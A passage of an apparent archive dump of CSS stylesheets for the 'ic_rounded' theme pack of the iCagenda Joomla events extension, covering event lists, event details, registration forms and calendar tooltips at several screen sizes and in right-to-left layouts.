	color: #111111 !important;
}

/* Event Title */
#ictip .ictip-event-title {
	display: block;
	min-width: 200px;
	font-weight: bold;
	margin-top: 10px;
	padding: 5px;
}

/* Event Info */
#ictip .ictip-info {
	display: block;
	min-width: 200px;
	font-size: 12px;
	padding: 0 8px 2px 8px;
}
#ictip .ictip-time {
	font-size: 14px;
	padding: 0 8px;
}
#ictip .ictip-location {
	font-size: 12px;
	padding: 0 8px 3px 8px;
}
#ictip .ictip-desc {
	font-size: 12px;
	color: #555;
	line-height: 14px;
}

/* Contener of the description */
#ictip span.bloc {
	display: block;
	width: 300px;
	float: left;
	margin: 3px;
}

/* Registration Infos */
#ictip div.ic-reg-buttons {
	text-align: center;
	padding: 7px 1px;
}
#ictip span.iCreg {
	display: inline-block;
	font-size: 11px;
	margin: 0 3px;
	padding: 1px 5px;
	text-align: center;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	-o-border-radius: 5px;
	border-radius: 5px;
	box-shadow: 0px 0px 1px #333;
/*	cursor: pointer; */
}
#ictip span.iCreg.available,
#ictip span.iCreg.closed {
	color: black;
	background: white;
}
#ictip span.iCreg.ticketsleft {
	color: #fff;
	text-shadow: 0 -1px 0 rgba(0,0,0,0.25);
	background-color: #5bb75b;
	background-image: -moz-linear-gradient(top,#62c462,#51a351);
	background-image: -webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));
	background-image: -webkit-linear-gradient(top,#62c462,#51a351);
	background-image: -o-linear-gradient(top,#62c462,#51a351);
	background-image: linear-gradient(to bottom,#62c462,#51a351);
	background-repeat: repeat-x;
	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff51a351', GradientType=0);
	border-color: #51a351 #51a351 #387038;
	*background-color: #51a351;
	filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
#ictip span.iCreg.registered {
	color: #fff;
	text-shadow: 0 -1px 0 rgba(0,0,0,0.25);
	background-color: #1d6cb0;
	background-image: -moz-linear-gradient(top,#2384d3,#15497c);
	background-image: -webkit-gradient(linear,0 0,0 100%,from(#2384d3),to(#15497c));
	background-image: -webkit-linear-gradient(top,#2384d3,#15497c);
	background-image: -o-linear-gradient(top,#2384d3,#15497c);
	background-image: linear-gradient(to bottom,#2384d3,#15497c);
	background-repeat: repeat-x;
	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff2384d3', endColorstr='#ff15497c', GradientType=0);
	border-color: #15497c #15497c #0a223b;
	border-color: rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);
	*background-color: #15497c;
	filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}

/* End function clear <div> */
#ictip .clr {clear:both; display:block;}

/* Features */
#ictip .ic-features-container {
	margin: 2px;
}
#ictip .ic-feature-icon {
	float: right;
	margin: 0px 0.5px;
}

/* Messages Info */
.ic-msg-no-event {
	font-size: 0.8em;
	text-align: center;
}
com_icagenda/themes/packs/ic_rounded/css/ic_rounded_component-rtl.css000060400000004347152453734450022154 0ustar00/*
 * COM_ICAGENDA
 * iCagenda by JoomliC
 * Theme Pack Official
 * iC Rounded Theme - component
 *
 * @name		ic_rounded - RTL Styles
 * @author		Lyr!C (JoomliC)
 * @version 	3.4.0 2014-12-01
 * @since		3.4.0
 */


/*
 * Common Styles
 */

/* Align styles */
.ic-align-left {
	text-align: right;
}
.ic-align-right {
	text-align: left;
}

/* Float styles */
.ic-float-left {
	float: right;
}
.ic-float-right {
	float: left;
}

/* Table styles */
.ic-divCell {
	float: right; /* fix for buggy browsers */
}

/* Feature Icons */
/* Event Detail */
.event-header > .ic-features-container {
	float: left;
	margin-right: auto;
	margin-left: -5px;
}
.ic-feature-icon {
	float: left;
}

/* Buttons (print, Add to Cal, ...) */
.ic-buttons {
	float: left;
}
.ic-icon {
	margin-left: auto;
	margin-right: 7px;
}
div.ic-tip-link {
	text-align: right;
}
div.ic-tip-link img {
	margin-right: auto;
	margin-left: 5px;
}


/*
 * List of Events
 */

/* Box Date */
.ic-box-date {
	float: right;
}

/* Box Content */
.ic-content {
	float: right;
}


/*
 * Event Details
 */

/* Back button */
.ic-back {
	text-align: right;
}

/* Description */
.ic-detail-desc {
	text-align: right;
}

/* Content Box */
.ic-info-box-content {
	text-align: right;
}

/* File attachment */
.ic-info-box-file {
	float: left;
}

/* List of Participants */
#icagenda .panel h3.pane-toggler a {
	background: #f5f5f5 url(../images/pluslist.png) 1% 50% no-repeat;
}
#icagenda .panel h3.pane-toggler-down a {
	background: #f5f5f5 url(../images/minuslist.png) 1% 50% no-repeat;
}
#icagenda .pane-slider {
	margin-right: -1px;
}
#icagenda .list_table {
	float: right;
}


/*
 * Form
 */

/* Label */
.ic-control-label {
	float: right;
}

/* Radio Buttons */
.btn-group > .btn:first-child,
.radio.btn-group > label:first-of-type {
	border-radius: 4px 0 0 4px !important;
}
.btn-group > .btn:last-child {
	border-radius: 0 4px 4px 0 !important;
}

/* Google Maps */
.icmap-label {
	float: right !important;
	text-align: right !important;
}
.icmap-input {
	text-align: right;
}
#geo_label {
	float: right !important;
}

/*
 * STYLES for classes not presents in Theme Pack php files, but in iCagenda core php files
 */

/* Header - List of Categories */
#icagenda .cat_header_title {
	float: right;
	margin: 3px 0 -2px 10px;
}

com_icagenda/themes/packs/ic_rounded/css/ic_rounded_module_xsmall.css000060400000000336152453734450022212 0ustar00/*
 * MOD_ICCALENDAR
 * Extra small devices (usually a mobile phone)
 * 0 < SCREEN WIDTH < ('Small Screen Threshold' - 1)
 * Default : 0 < SCREEN WIDTH < 480
 */

/* Close "X" */
	#ictip a.close {
		padding-right:15px;
	}
com_icagenda/themes/packs/ic_rounded/css/index.html000060400000000054152453734450016432 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/themes/packs/ic_rounded/css/ic_rounded_component_xsmall.css000060400000002656152453734450022736 0ustar00/*
 * COM_ICAGENDA
 * Extra small devices (usually a mobile phone)
 * 0 < SCREEN WIDTH < ('Small Screen Threshold' - 1)
 * Default : 0 < SCREEN WIDTH < 480
 */

/* Style Background alternative */
.ic-event{
	margin: 20px 0;
}
.ic-box-date {
	width: auto;
	float: none;
}
.ic-content {
	width: auto;
	float:none;
}

/* Style Title/Category Header (event details view) */
.ic-event-header {
	width: auto;
}
.ic-title-header {
	width: 98%;
	text-align: center;
}
.ic-title-cat {
	width: 98%;
	text-align: center;
}

/* Share buttons (AddThis) */
.ic-share {
	display:none;
}

/* Feature Icons */
/* Event List */
.ic-event-title > .ic-features-container {
}
/* Event Detail */
.ic-event-header > .ic-features-container {
	margin-right: 0;
	margin-top: 0;
}
.ic-features-container {
	clear: both;
	text-align: center;
}
.ic-feature-icon {
	float: none;
	display: inline-block;
}

/* Style Information */
.ic-info-box .ic-info-box-file {
	width: auto;
	float: none;
}
.ic-divCell {
	float: left;
}

/* Style Input field */
.icagenda_form input,
.icagenda_form input[type="file"],
.icagenda_form .input-large,
.icagenda_form .input-xlarge,
.icagenda_form .input-xxlarge,
.icagenda_form .select-large,
.icagenda_form .select-xlarge,
.icagenda_form .select-xxlarge {
	width: 90%;
}
.icagenda_form .input-small {
	width: 90px;
}
.icagenda_form .select-small {
	width: 114px;
}
.icagenda_form .ic-date-input {
	width: auto;
}
.ic-captcha-label {
	display: none;
}
com_icagenda/themes/packs/ic_rounded/css/ic_rounded_component.css000060400000044764152453734450021364 0ustar00/*
 * COM_ICAGENDA
 * iCagenda by JoomliC
 * Theme Pack Official
 * iC Rounded Theme - component
 *
 * @name		ic_rounded
 * @author		Lyr!C (JoomliC)
 * @version 	3.5.10 2015-08-26
 * @since		1.0
 */


/*
 * GENERAL STYLES (list and event details)
 */

/* General */
#icagenda {
	width: auto;
	margin: 0;
	padding: 0;
}

/* Align styles */
.ic-align-left {
	text-align: left;
}
.ic-align-right {
	text-align: right;
}
.ic-align-center {
	text-align: center;
}

/* Float styles */
.ic-float-left {
	float: left;
}
.ic-float-right {
	float: right;
}
.ic-float-none {
	float: none;
}

/* Global Styling - colors */
.ic-box-shadow {
	box-shadow: 1px 1px 3px rgba(0, 0, 0, 0.15);
}
.ic-border {
/*	border: 1px solid #E3E3E3; */
	border: 1px solid #999;
}

/* Global Styling */
.ic-rounded-10 {
	border-radius: 10px;
}

/* Clear Float div */
.ic-clearfix {
	*zoom: 1;
}
.ic-clearfix:before,
.ic-clearfix:after {
	display: table;
	content: "";
	line-height: 0;
}
.ic-clearfix:after {
	clear: both;
}

/* Style iC Alert */
.ic-alert-info {}
.ic-alert-error {}


#icagenda .clr {
	clear: both;
}

#icagenda a:hover {
	text-decoration: none;
}

/* Style Title/Category Header */
.ic-title-header {
	display: block;
	width: 70%;
}
.ic-title-header h2,
.ic-title-header h2 a {
	padding: 0;
	margin: 0;
	font-size: 22px;
	line-height: 24px;
	text-decoration: none;
	text-shadow: none;
	border-bottom: 0;
	background: none;
}
.ic-title-header h2 a:link,
.ic-title-header h2 a:visited {
	padding: 0;
	margin: 0;
	text-decoration: none;
	text-shadow: none;
	background: none;
}
.ic-title-header a:hover,
.ic-title-header a:active,
.ic-title-header a:focus {
	text-decoration: none;
	text-shadow: none;
	background: none;
}
.ic-title-cat {
	display: block;
	width: 30%;
	margin-top: 9px;
	font-size: 13px;
	line-height: 15px;
	font-weight: bold;
	text-align: right;
	text-transform: uppercase;
    /*	border-radius: 4px; */
}
.ic-text-border-grey {
	text-shadow:
		-1px 0 grey,
		0 1px grey,
		1px 0 grey,
		0 -1px grey;
}
.ic-text-border {
	text-shadow: 0 0 #000; /* horizontal-offset vertical-offset 'blur' colour */
	-moz-text-shadow: 0 0 #000;
	-webkit-text-shadow: 0 0 #000;
}
.ic-text-shadow {
	text-shadow: 0 0 2px #000; /* horizontal-offset vertical-offset 'blur' colour */
	-moz-text-shadow: 0 0 2px #000;
	-webkit-text-shadow: 0 0 2px #000;
}
.ic-title-cat .caticon {
	color: #FFFFFF;
	font-weight: normal;
	padding: 2px;
	border-radius:3px;
	box-shadow: 0 0 0 1px rgba(0,0,0,0.25);
	cursor: default;
}


/*
 * LIST PAGE CSS
 */

/* Style Navigation */
#icagenda .navigator {
	margin: 7px 0;
}
#icagenda .navigator a {
	text-decoration: none;
}
#icagenda .navigator a:link,
#icagenda .navigator a:visited {}

#icagenda .navigator a:hover,
#icagenda .navigator a:active,
#icagenda .navigator a:focus {
	cursor: pointer;
}
#icagenda .icagenda_back {
	float: left;
	margin-left: 5px;
}
#icagenda .icagenda_next {
	float: right;
	margin-right: 5px;
}
#icagenda .icagenda_back button,
#icagenda .icagenda_next button {
	border: 0;
	padding: 5px;
	background: none;
}
#icagenda .icagenda_back button:hover,
#icagenda .icagenda_next button:hover {
	background: #f3f3f3;
}
/*
#icagenda .navigator button {
	border: 0;
	padding: 5px;
	color: #fff;
	background: #f3f3f3;
	margin-right: 5px;
}
*/

/* Style Background alternative */
.ic-event {
	margin: 2% 0;
	padding: 0.5%;
	border-radius: 6px;
	background: none; /* Old IE version */
	background: rgba(221,221,221,0.1);
}
.ic-event:nth-child(2n+1) {
	background: none; /* Old IE version */
	background: rgba(221,221,221,0.2);
}

/* Style Box Date */
.ic-box-date {
	width: 18%;
	height: 80px;
	padding: 3%;
	padding-top: 25px;
	text-align: center;
	font-size: 20px;
	color: #fff;
	font-weight: bold;
	float: left;
	margin: 0.5%;
	border-radius: 10px;
	text-shadow: #000 2px 2px 10px;
	background-color: #ddd;
	background-repeat: no-repeat;
	background-position: center center;
	background-size: cover;
	border-width: 1px;
	border-style: solid;
	border-color: #ddd; /*overrided inline by category color in ic_rounded_events.php file */
	/* css3 box-sizing added to prevent conflict with a site template provider who adds a 'problematic' style for div tags */
	box-sizing: content-box;
}
.ic-box-date:hover {
	transition: border-radius 0.5s, color 0.5s;
	-moz-transition: border-radius 0.5s, color 0.5s;
	-webkit-transition: border-radius 0.5s, color 0.5s;
	-o-transition: border-radius 0.5s, color 0.5s;
	border-radius: 15px;
}

/* Current period */
.ic-current-period {
	text-decoration: overline;
}

#icagenda .fontColor {
	color: #666 !important;
}

/* Style Box Date */
.ic-date {
	line-height: 0 !important;
	font-size: 30px;
}
.ic-day {
	line-height: 40px !important;
	font-size: 40px;
	font-weight: bold;
	margin: 0 -6%;
}
.ic-month {
	line-height: 24px !important;
	font-size: 24px;
	letter-spacing: 0;
	margin-left: 0;
	font-weight: normal;
}
.ic-year {
	line-height: 17px !important;
	font-size: 15px;
	letter-spacing: 2px;
	margin-left: 3px;
	font-weight: bold;
}
.ic-time {
	line-height: 15px !important;
	font-size: 13px;
	letter-spacing: 1px;
	margin-left: 3px;
	font-weight: bold;
}
.ic-no-image {
	line-height: 13px !important;
	font-size: 8px;
}


/* Style Right (Container Title, Cat, Desc...) */
.ic-content {
	width:72%;
	margin:1%;
	float:left;
	color:#555555;
}
.ic-content .ic-event-title {
	border-bottom: 1px solid #cccccc;
	height: auto;
	margin: 0;
	padding-bottom: 3px !important;
}
.ic-content .category {
	text-align:right;
	float:right;
	font-size:0.8em;
	text-transform:uppercase;
	margin:0;
	padding:0px;
}
.ic-content .ic-next-date {
	margin: 5px 0;
	font-size: 16px;
}
.ic-place {
	font-weight: normal;
	font-size: 12px;
}
.ic-descshort {
	font-weight: normal;
	font-size: 11px;
	margin: 5px 0 0 0 !important;
}
.ic-descshort p {
	margin: 0px !important;
}
.ic-more-info {
	background: none;
	float: right;
	font-weight: bold;
	font-size: 10px;
	text-transform: uppercase;
	cursor: pointer;
}
.ic-more-info a:link,
.ic-more-info a:visited {
	background: none;
	color: #555555;
	text-decoration: none;
}
.ic-more-info a:hover,
.ic-more-info a:active,
.ic-more-info a:focus {
	background: none; color:#111111;
	cursor: pointer;
}



/*
 * EVENT PAGE CSS
 */

/* Event Header */
.ic-event-header {
	display: block;
	width: auto;
	margin-top: 10px;
	margin-bottom: 10px;
	background: #f5f5f5;
	background: rgba(221,221,221,0.3);
	padding: 0 10px 0 20px;
	border: 1px solid #999;
	border-radius: 10px;
}
.ic-event-header h1 {
	font-size: 26px;
	line-height: 28px;
	color: #333;
	text-shadow: none;
	text-decoration: none;
	border: 0;
}

/* Event Header - Category */
.ic-details-cat {
	margin-top: 13px;
	font-size: 13px;
	line-height: 15px;
}

/* Style AddThis div */
.ic-event-addthis {
}

/* Style Registration button */
.ic-registration-box {
	float: right;
	margin: 3px 0;
}
.ic-registration-box a {
	float: left;
	text-decoration: none !important;
}
.ic-registration-box a:hover,
.ic-registration-box a:focus {
	float: left;
	text-decoration: none !important;
	cursor: pointer;
}

/* Text Register Button */
.ic-event-register {
	display: inline-block;
	margin: 2px 3px 0 0;
	line-height: 16px;
}

/* Text Event Full Button */
.ic-event-full {
	display: inline-block;
	margin: 2px 3px 0 0;
	line-height: 16px;
}

/* Text Event Finished Button */
.ic-event-finished {
	display: inline-block;
	margin: 2px 3px 0 0;
	line-height: 16px;
}

/* Image Button (removed in 3.3.7) */
#icagenda .regis_imgbutton {display:block; margin:0 3px; height:16px; line-height:16px; width:16px; background:url('../../../../../../media/com_icagenda/images/btn-regis.png') no-repeat;}
#icagenda .regis_imgbutton:hover {text-decoration:none; cursor: pointer;}

/* icon people (nb of registered users) (added in 3.3.7) */
.ic-people {
	color: #999;
}

/* Nb of registered people (in bubble) */
.ic-registered {
	display: inline-block;
	color: #333333;
	text-align: center;
	background: url('../images/regis-baloon.png');
	height: 16px;
	line-height: 16px;
	width: 36px;
	font-size: 11px;
	font-weight: bold;
}

/* Style Event General */
.ic-info {
	margin: 10px 0;
	padding: 10px 5px 10px 5px;
	color: #333333;
	text-align: center;
	background: #e5e5e5;
	background: rgba(0,0,0,0.1);
	border: 1px solid #999;
	border-radius: 10px;
}
.ic-info .ic-details {
	text-align: center;
	padding: 1%;
}
.ic-info .ic-details label {
	float: none !important;
	font-weight: bold;
}

/* Style Image */
.ic-image {
	text-align: center;
}
.ic-image img {
	max-width: 98%;
	max-height: 400px;
	border: 0px solid #ccc;
	margin-bottom: 10px;
	border-radius: 5px;
}

/* Style Time (in date) */
#icagenda .evttime {
	font-size: 0.8em;
}
.ic-next-today {
	font-weight: bold;
}
.ic-period-starttime,
.ic-period-endtime,
.ic-single-starttime,
.ic-single-endtime,
.ic-datetime-separator {
	font-size: 0.8em;
}

/* Style Table-style List */
.ic-divTable {
	display: table;
	width: auto;
	border-collapse: separate;
	border-spacing: 5px;
}
.ic-divRow {
	display: table-row;
}
.ic-divCell {
/*	float: left; */ /* fix for buggy browsers */
	padding: 1px 5px;
}
.ic-label {
	display: table-cell;
	min-width: 110px;
	font-weight: bold;
}
.ic-value {
	display: table-cell;
	width: auto;
}

/* Style Description */
.ic-detail-desc {
	padding: 10px;
	margin: 10px;
	background: #FFFFFF;
	background: rgba(255,255,255,0.9);
	color: #333333;
	text-align: left;
	text-shadow: none;
	border: 0;
	border-radius: 5px;
}
.ic-short-description {
	font-weight: bold;
}
.ic-full-description {
}

/* Style Information */
.ic-info-box {
	display: block;
	width: 100%;
	text-align:center;
	background: #cccccc;
	color: #333;
	padding-top: 0px;
	margin: 0;
	border: 0;
	-webkit-border-radius: 5px;
	-moz-border-radius: 5px;
	-o-border-radius: 5px;
	border-radius: 5px;
}
.ic-info-box-header label {
	text-transform:uppercase;
	font-weight:bold;
}
.ic-info-box-header {
	display: block;
	background: #555;
	vertical-align: middle;
	border: 0;
	padding: 10px;
	text-align: center;
	color: #FFF;
	-webkit-border-radius: 5px 5px 0 0;
	-moz-border-radius: 5px 5px 0 0;
	-o-border-radius: 5px 5px 0 0;
	border-radius: 5px 5px 0 0;
}
.ic-info-box-content {
	display: block;
	width: auto;
	vertical-align: top;
	border: 0;
	margin: 10px;
	text-align: left;
	color: #111;
}
.ic-info-box-file {
	display: block;
	float: right;
	width: auto;
	background: #fafafa;
	vertical-align: top;
	text-align: center;
	padding: 10px;
	margin: 10px;
	color: #333;
	-webkit-border-radius: 5px;
	-moz-border-radius: 5px;
	-o-border-radius: 5px;
	border-radius: 5px;
}
.ic-info-box-file label {
	font-size: 0.8em;
	color: #555;
}
.ic-download {
	font-weight: bold;
	text-decoration:none !important;
}

/* Slider */
#icagenda .icpanel {
}
.ic-participants .panel {
	border: none !important;
}
.ic-participants .panel h3 {
	border: none !important;
}
.ic-participants {
	padding: 5px;
	border: 1px solid #999;
	background: #f5f5f5;
	background: rgba(221,221,221,0.3);
}
.ic-participants h3 a {
	display: block;
	text-decoration: none;
	padding: 0 1%;
	color: #444;
	width: 98%;
}
.ic-participants .panel h3.pane-toggler a {
	background: url(../images/pluslist.png) 99% 50% no-repeat;
}
.ic-participants .panel h3.pane-toggler-down a {
	background: url(../images/minuslist.png) 99% 50% no-repeat;
}
#icagenda .pane-slider .ic-content {
}
#icagenda .pane-slider {
	overflow: unset;
}

/* Slider Full list of Participants */
#icagenda .list_table {
	background:#cccccc;
	background:rgba(204,204,204,0.5);
	border-radius:3px 3px 3px 3px;
	float:left;
}
#icagenda .imgbox {
	width:40px;
}
#icagenda .imgbox img {
	border-radius:3px 3px 3px 3px;
	margin:2px 0;
}
#icagenda .list_name {
	font-weight:bold;
}
#icagenda .list_places {
	font-size:smaller;
}
#icagenda .list_date {
	font-size:smaller;
}

/* Style Google Maps */
#detail-map {
	margin: 0px 2px 0 0;
}
#detail-map .icagenda_map {
	margin: auto;
	text-shadow: none;
	border: 1px solid #999;
	border-radius: 10px;
	background: #ffffff;
}

/* Style All Dates */
#detail-date-list {}
#detail-date-list .datesList {}
#detail-date-list .alldates ul {
	padding-left:1%;
}
#detail-date-list .alldates li {
	background-image:none;
}
#detail-date-list .alldates h3 {
	font-size:12px;
	margin-top:10px;
	font-weight:bold;
}


/*
 * Feature Icons
 */

/* Event List */
.ic-event-title > .ic-features-container {
}
/* Event Detail */
.ic-event-header > .ic-features-container {
	display: block;
	margin-right: -5px;
	margin-top: 5px;
}
.ic-feature-icon {
	float: right;
	margin: 3px 0.5px;
}


/*
 * FORMS - COMMON STYLES
 */

/* Style Form (general) */
.icagenda_form {
	color: #333;
}
.icagenda_form h3 {
	color: #333;
	font-weight: bold;
	font-size: 14px;
	margin: 15px 0 10px 0;
}
.icagenda_form legend {
	font-weight: bold;
}
.icagenda_form .fieldset {
	border-radius: 5px;
	margin: 10px 0;
	background: #f3f3f3;
	padding: 10px;
}

/* Style Label */
.icagenda_form label {
	color: #333;
	display: block;
	width: 130px;
	float: left;
	margin: 0 3px;
}

/* Style Input field */
.icagenda_form input {
	background-color: #fff;
	border: 1px solid #ccc;
	box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.075) inset;
	transition: border 0.2s linear 0s, box-shadow 0.2s linear 0s;
	border-radius: 3px;
	padding: 3px;
	width: auto;
}
.icagenda_form input[type="file"] {
	width: 270px;
}
.icagenda_form .input-small {
	width: 90px;
}
.icagenda_form .select-small {
	width: 104px;
}
.icagenda_form .input-large {
	width: 210px;
}
.icagenda_form .select-large {
	width: 224px;
}
.icagenda_form .input-xlarge {
	width: 270px;
}
.icagenda_form .select-xlarge {
	width: 284px;
}
.icagenda_form .input-xxlarge {
	width: 330px;
}
.icagenda_form .select-xxlarge {
	width: 344px;
}
.icagenda_form .ic-date-input {
	width: auto;
}

/* Style Form Invalid */
.icagenda_form label.invalid {
	color: red;
	font-weight: bold;
}
.icagenda_form input.invalid,
.icagenda_form select.invalid {
	border: 2px solid red;
	color: red;
	font-weight: bold;
}

/* Style button left (joomla 2.5) */
.icagenda_form .button2-left {
	margin: 3px 3px 3px 0;
	float: left;
}

/* Style Terms of Service */
.icagenda_form .ic-tos-content {
	background: #c0c0c0;
	color: #fff;
	margin-top: 25px;
	padding: 5px;
	border: none;
	border-radius: 5px;
	text-align: center;
}
.icagenda_form .ic-tos-text {
	padding: 25px;
	background: #fff;
	color: #333;
	text-align: left
}
.icagenda_form .ic-tos-agree {
	color: #fff;
	font-weight: bold;
}

/* Style Button Submit */
.icagenda_form .button {
	font-family: arial;
	font-size: 12px;
	background: #555;
	color: #fff;
	padding: 5px;
	border: none;
	border-radius: 6px;
	text-align: center;
}
.icagenda_form .button:hover {
	background: #c72031;
	color: #fff;
}
.icagenda_form .ic-loader {
	display: block;
	width: 100%;
	height: 60px;
	background: url(../../../../../../media/com_icagenda/images/loader.gif) 50% 50% no-repeat;
}

/* Style Button Cancel */
.icagenda_form .buttonx a {
	font-family: arial;
	font-size: 12px;
	background: none !important;
	text-decoration: none;
	color: #555;
	padding: 0px;
	border: none;
	border-radius: 6px;
	text-align: center;
}
.icagenda_form .buttonx a:hover {
	background: none !important;
	text-decoration: none;
	color: #c72031 !important;
}


/*
 * SUBMIT AN EVENT FORM
 */

/* Short Description textarea */
.ic-submit-shortdesc,
.ic-submit-metadesc {
	width: 100%;
	box-sizing: border-box;
}


/*
 * REGISTRATION FORM
 */

/* Style Title Registration */
.ic-form-title h2 {}

/* Style fields required info */
.ic-required-info {
	font-size: 0.95em;
}

/* Style Header*/
.ic-reg-event {
	background: none; /* Old IE version */
	background: rgba(221,221,221,0.2);
	border-radius: 5px;
	margin: 5px 0;
	padding: 0px;
}

/* Registration icon */
.ic-reg-icon {
	background: url(../../../../../../media/com_icagenda/images/registration-48.png) 50% 50% no-repeat;
	display: block;
	width: 48px;
	height: 48px;
	padding: 8px;
	margin-right: 8px;
}

/* Style Right (Container Event title, category) */
.ic-reg-content {
	display: block;
	border: 0;
	margin: 0;
	padding: 8px;
	vertical-align: top;
}

/* Category */
.ic-reg-cat {
	color: #555555;
	font-size: 12px;
	line-height: 20px;
	font-weight: bold;
	text-transform: uppercase;
}

/* Event title */
.ic-reg-event-title {
	font-size: 22px;
	line-height: 28px;
	font-weight: bold;
}

/* Style Registration infos */
.ic-reg-info {
	font-size: 0.8em;
}

/* Google Maps */
.icmap-label {
	float: left;
	width: 140px;
	padding-top: 5px;
	padding-right: 5px;
	text-align: left;
}
.icmap-field {
	margin: 5px;
}
.form-validate .icmap-field input,
.icagenda_form .icmap-field input {
	background-color: #eee;
/*	width: auto; */
	color: #777;
}


/*
 * STYLES for classes not presents in Theme Pack php files, but in iCagenda core php files
 */

/* Style iCagenda Header - List of Events */
.ic-header-container {
}
.ic-header-title {
}
.ic-header-subtitle {
	font-size: 0.85em;
}
.ic-subtitle-string {
}
.ic-subtitle-pages {
}

/* Style Back Button */
.ic-back {
	display: block;
	width: 100%;
	text-align: left;
	font-size: 10px;
	font-weight: normal;
	text-decoration: none;
	letter-spacing: 1px;
}
.ic-back a:link,
.ic-back a:visited {
	text-decoration:none;
}
.ic-back a:hover,
.ic-back a:active,
.ic-back a:focus {
	text-decoration:none;
}

/* Buttons (print, Add to Cal, ...) */
.ic-buttons {
	display: block;
	float: right;
}
.ic-icon {
	display: inline-block;
	margin-left: 7px;
}
.ic-printpopup-btn {
	display: block;
	text-align: center;
	margin: 15px 0;
}
div.ic-tip-title {
	text-align: center;
	font-weight: bold;
	margin-bottom: 3px;
}
div.ic-tip-link {
	display: block;
	text-align: left;
	margin-bottom: 3px;
}
div.ic-tip-link a {
	color: #D4D4D4;
	text-decoration: none;
}
div.ic-tip-link a:hover {
	color: #FFFFFF;
}
div.ic-tip-link img {
	margin-right: 5px;
}

/* Header - List of Categories */
.ic-header-categories {
	display: block;
	width: 100%;
	margin-bottom: 20px;
}
#icagenda .cat_header_title {
	display: block;
	padding: 1px 7px;
	font-size: 1em;
	text-align: center;
	color: #fff;
	font-weight: normal;
	float: left;
	margin: 3px 10px -2px 0;
	border-radius: 4px;
	text-shadow: 0 -1px 0 rgba(0,0,0,0.15);
	background: #dddddd;
	background-size: cover;
}
#icagenda .cat_header_desc {
	display: block;
	padding: 3px 7px;
	margin: 2px 0;
}

/* Share buttons (AddThis) */
.ic-share {
	float: right;
	background: none;
	padding: 5px 10px 5px 0;
	text-shadow: none;
}
.ic-share a:link,
.ic-share a:visited {
/*	background: none; */
	text-decoration: none;
}
.ic-share a:hover,
.ic-share a:active,
.ic-share a:focus {
/*	background: none; */
}

/* Columns List of Participants (Full) */
#icagenda .total {width:99%; min-width:180px; margin:0.5%;}
#icagenda .demi {width:49%; min-width:180px; margin:0.5%;}
#icagenda .tiers {width:32.3%; min-width:180px; margin:0.5%;}
#icagenda .quart {width:24%; min-width:150px; margin:0.5%;}

.names_noslide {text-align:justify;}
.names_slide { padding:6px !important; text-align:justify;}
com_icagenda/themes/packs/ic_rounded/css/ic_rounded_module-rtl.css000060400000000646152453734450021435 0ustar00/*
 * MOD_ICCALENDAR
 * iCagenda by JoomliC
 * Theme Pack Official
 * iC Rounded Theme - module calendar
 *
 * @name		ic_rounded - RTL
 * @author		Lyr!C (JoomliC)
 * @version 	3.4.0 2014-12-01
 * @since		3.4.0
 */


#ictip {
	text-align: right;
}
#ictip span.bloc {
	float: right;
}
#ictip a.close {
	right: auto;
	left: 15px;
}
#ictip span.img {
	float: right;
}

/* Features */
#ictip .ic-feature-icon {
	float: left;
}
com_icagenda/themes/packs/ic_rounded/css/ic_rounded_module_small.css000060400000002250152453734450022017 0ustar00/*
 * MOD_ICCALENDAR
 * Small devices (usually a tablet computer)
 * 'Small Screen Threshold' < SCREEN WIDTH < ('Medium Screen Threshold' - 1)
 * Default : 481 < SCREEN WIDTH < 768
 */

.ic_rounded.iccalendar table td .icevent a:hover,
.ic_rounded.iccalendar table td .icevent a:focus {
	border-radius:3px;
	background:#333;
}
.ic_rounded.iccalendar table td .icevent a:hover .bright,
.ic_rounded.iccalendar table td .icevent a:focus .bright {
	border-radius:3px;
	color:#fff;
	background:#333;
}
.ic_rounded.iccalendar table td .icmulti a:hover,
.ic_rounded.iccalendar table td .icevent a:focus {
	background:#333;
}
.ic_rounded.iccalendar table td .icmulti a:hover .bright,
.ic_rounded.iccalendar table td .icevent a:focus .bright {
	color:#fff;
	background:#333;
}

/* Arrows Over */
.ic_rounded .icnav .backic:hover,
.ic_rounded .icnav .nextic:hover,
.ic_rounded .icnav .backicY:hover,
.ic_rounded .icnav .nexticY:hover {
	color:#333333;
	background:none;
	cursor:pointer;
}
#ictip a.close:hover {
	color:black;
	background:none;
	cursor:pointer;
}
#ictip div.linkTo:hover {
	color:#000;
	background:#ddd;
	text-decoration:none;
	border-radius:3px;
}
#ictip a:hover {
	background:none;
}
com_icagenda/themes/packs/ic_rounded/css/ic_rounded_module_large.css000060400000000223152453734450021777 0ustar00/*
 * MOD_ICCALENDAR
 * Large devices (usually a desktop computer)
 * SCREEN WIDTH > 'Large Screen Threshold'
 * Default : SCREEN WIDTH > 1201
 */
com_icagenda/themes/packs/ic_rounded/css/ic_rounded_module_medium.css000060400000000273152453734450022172 0ustar00/*
 * MOD_ICCALENDAR
 * Medium devices (usually a laptop computer)
 * 'Medium Screen Threshold' < SCREEN WIDTH < ('Large Screen Threshold' - 1)
 * Default : 769 < SCREEN WIDTH < 1200
 */
com_icagenda/themes/packs/ic_rounded/css/ic_rounded_component_large.css000060400000000221152453734450022512 0ustar00/*
 * COM_ICAGENDA
 * Large devices (usually a desktop computer)
 * SCREEN WIDTH > 'Large Screen Threshold'
 * Default : SCREEN WIDTH > 1201
 */
com_icagenda/themes/packs/ic_rounded/css/ic_rounded_component_small.css000060400000001250152453734450022533 0ustar00/*
 * COM_ICAGENDA
 * Small devices (usually a tablet computer)
 * 'Small Screen Threshold' < SCREEN WIDTH < ('Medium Screen Threshold' - 1)
 * Default : 481 < SCREEN WIDTH < 768
 */

/* Style Title/Category Header (event details view) */
.ic-event-header {
	width: auto;
}
.ic-title-header {
	width: 98%;
	text-align: left;
}
.ic-title-cat {
	width: 98%;
	text-align: left;
}

/* Feature Icons */
/* Event List */
.ic-event-title > .ic-features-container {
}
/* Event Detail */
.ic-event-header > .ic-features-container {
	margin-right: 0;
	margin-top: 0;
}
.ic-features-container {
	clear: both;
